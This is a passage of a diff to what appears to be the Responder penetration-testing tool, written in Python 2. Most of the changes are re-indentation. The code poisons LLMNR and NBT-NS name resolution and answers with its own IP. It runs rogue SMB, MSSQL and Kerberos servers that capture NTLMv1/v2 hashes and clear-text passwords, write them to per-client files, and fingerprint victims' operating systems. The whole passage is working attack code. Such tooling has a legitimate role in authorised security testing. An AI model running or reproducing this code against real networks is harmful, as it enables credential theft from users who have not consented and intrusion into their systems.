: %s'%(self.client_address[0], Name) + logging.warning(Message) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: + except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: + if RespondToSpecificName(RespondToName) == False: + buff = NBT_Ans() + buff.calculate(data) + for x in range(1): + socket.sendto(str(buff), self.client_address) + Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) + logging.warning(Message) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: + except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: - pass - else: - pass - - else: - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass + pass ################################################################################## #Browser Listener and Lanman Finger @@ -474,154 +474,154 @@ def WorkstationFingerPrint(data): def PrintServerName(data, entries): if entries == 0: - pass + pass else: - entrieslen = 26*entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries - ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] - l =[] - for x in ServerName: - if WorkstationFingerPrint(x[16:18]): - l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) - else: - l.append(x[:16].replace('\x00', '')) - - return l + entrieslen = 26*entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] + l =[] + for x in ServerName: + if WorkstationFingerPrint(x[16:18]): + l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) + else: + l.append(x[:16].replace('\x00', '')) + + return l def ParsePacket(Payload): PayloadOffset = struct.unpack(' 220: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 220: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv2 hash captured from :",client - print "[+]SMB-NTLMv2 complete hash is :",Writehash - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv1 hash captured from : ",client - print "[+]SMB complete hash is :", writehash - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) - logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise + try: + lenght = struct.unpack(' 25: + Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] + logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) + outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") + pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] + var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] + Username, Domain = tuple(var) + Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() + if PrintData(outfile,Username+"::"+Domain): + print "[+]SMB-NTLMv2 hash captured from :",client + print "[+]SMB-NTLMv2 complete hash is :",Writehash + ParseShare(data) + WriteData(outfile,Writehash, Username+"::"+Domain) + logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) + if NthashLen == 24: + logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) + outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") + pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] + var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] + Username, Domain = tuple(var) + writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal + if PrintData(outfile,Username+"::"+Domain): + print "[+]SMB-NTLMv1 hash captured from : ",client + print "[+]SMB complete hash is :", writehash + ParseShare(data) + WriteData(outfile,writehash, Username+"::"+Domain) + logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) + logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) + logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) + except Exception: + raise def IsNT4ClearTxt(data): - HeadLen = 36 + HeadLen = 36 Flag2 = data[14:16] if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) + SmbData = data[HeadLen+14:] + WordCount = data[HeadLen] + ChainedCmdOffset = data[HeadLen+1] + if ChainedCmdOffset == "\x75": + PassLen = struct.unpack(' 2: + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) + logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP class SMB1(BaseRequestHandler): def handle(self): try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) + while True: data = self.request.recv(1024) + self.request.settimeout(1) + ##session request 139 + if data[0] == "\x81": + buffer0 = "\x82\x00\x00\x00" + self.request.send(buffer0) + data = self.request.recv(1024) + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + #Customize SMB answer. + head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) + t.calculate() + final = t + packet0 = str(head)+str(final) + buffer0 = longueur(packet0)+packet0 + self.request.send(buffer0) + data = self.request.recv(1024) + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + IsNT4ClearTxt(data) + head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) + t.calculate() + final = t + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(4096) + if data[8:10] == "\x73\x00": + if Is_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + final = SMBSessEmpty() + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + else: + ParseSMBHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = SMBSession2Accept() + final.calculate() + packet2 = str(head)+str(final) + buffer2 = longueur(packet2)+packet2 + self.request.send(buffer2) + data = self.request.recv(1024) + ##Tree Connect IPC Answer + if data[8:10] == "\x75\x00": + ParseShare(data) + head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + t = SMBTreeData() + t.calculate() + final = t + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##Tree Disconnect. + if data[8:10] == "\x71\x00": + head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##NT_CREATE Access Denied. + if data[8:10] == "\xa2\x00": + head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##Trans2 Access Denied. + if data[8:10] == "\x25\x00": + head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##LogOff. + if data[8:10] == "\x74\x00": + head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x02\xff\x00\x27\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) except Exception: - pass #no need to print errors.. + pass #no need to print errors.. #SMB Server class, old version. class SMB1LM(BaseRequestHandler): def handle(self): try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) + self.request.settimeout(0.5) + data = self.request.recv(1024) + ##session request 139 + if data[0] == "\x81": + buffer0 = "\x82\x00\x00\x00" + self.request.send(buffer0) + data = self.request.recv(1024) + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) + t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + if Is_LMNT_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + packet1 = str(head)+str(SMBSessEmpty()) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + else: + ParseLMNTHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + packet1 = str(head)+str(SMBSessEmpty()) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) except Exception: - self.request.close() - pass + self.request.close() + pass ################################################################################## #Kerberos Server ################################################################################## def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 60: - DomainLen = struct.unpack('H',Data[2:4])[0] EncryptionValue = Data[PacketLen-7:PacketLen-6] if re.search("NTLMSSP",Data): - return True + return True else: - return False + return False #MS-SQL server class. class MSSQL(BaseRequestHandler): def handle(self): try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + ##Pre-Login Message + if data[0] == "\x12": + buffer0 = str(MSSQLPreLoginAnswer()) + self.request.send(buffer0) + data = self.request.recv(1024) + ##NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) + t.calculate() + buffer1 = str(t) + self.request.send(buffer1) + data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) + ##NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) except Exception: - pass - self.request.close() + pass + self.request.close() ################################################################################## #LLMNR Stuff @@ -1188,10 +1188,10 @@ class LLMNRAns(Packet): ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), - ("AnswerNameLen", "\x09"), + ("AnswerNameLen", "\x09"), ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type1", "\x00\x01"), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("IPLen", "\x00\x04"), @@ -1205,39 +1205,39 @@ class LLMNRAns(Packet): self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name def Parse_IPV6_Addr(data): if data[len(data)-4:len(data)][1] =="\x1c": - return False + return False if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": - return True + return True if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": - return True + return True else: - return False + return False def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): dnsip = [] for line in file('/etc/resolv.conf', 'r'): ip = line.split() if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) + dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print "[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) + print "[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) else: - pass + pass def FindLocalIP(Iface): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) @@ -1247,9 +1247,9 @@ def FindLocalIP(Iface): def AnalyzeICMPRedirect(): if Analyze(AnalyzeMode) and OURIP is not None and INTERFACE == 'Not set': - IsICMPRedirectPlausible(OURIP) + IsICMPRedirectPlausible(OURIP) if Analyze(AnalyzeMode) and INTERFACE != 'Not set': - IsICMPRedirectPlausible(FindLocalIP(INTERFACE)) + IsICMPRedirectPlausible(FindLocalIP(INTERFACE)) AnalyzeICMPRedirect() @@ -1260,134 +1260,134 @@ class LLMNR(BaseRequestHandler): data, soc = self.request try: if Analyze(AnalyzeMode): - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1]) - logger3.warning(Message) - except Exception: + if data[2:4] == "\x00\x00": + if Parse_IPV6_Addr(data): + Name = Parse_LLMNR_Name(data) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1]) + logger3.warning(Message) + except Exception: + Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) + logger3.warning(Message) + if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message + else: Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) + if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message logger3.warning(Message) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - else: - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - logger3.warning(Message) if RespondToSpecificHost(RespondTo): - if Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass + if Analyze(AnalyzeMode) == False: + if RespondToIPScope(RespondTo, self.client_address[0]): + if data[2:4] == "\x00\x00": + if Parse_IPV6_Addr(data): + Name = Parse_LLMNR_Name(data) + if RespondToSpecificName(RespondToName) == False: + buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + buff.calculate() + for x in range(1): + soc.sendto(str(buff), self.client_address) + Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) + logging.warning(Message) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass + if 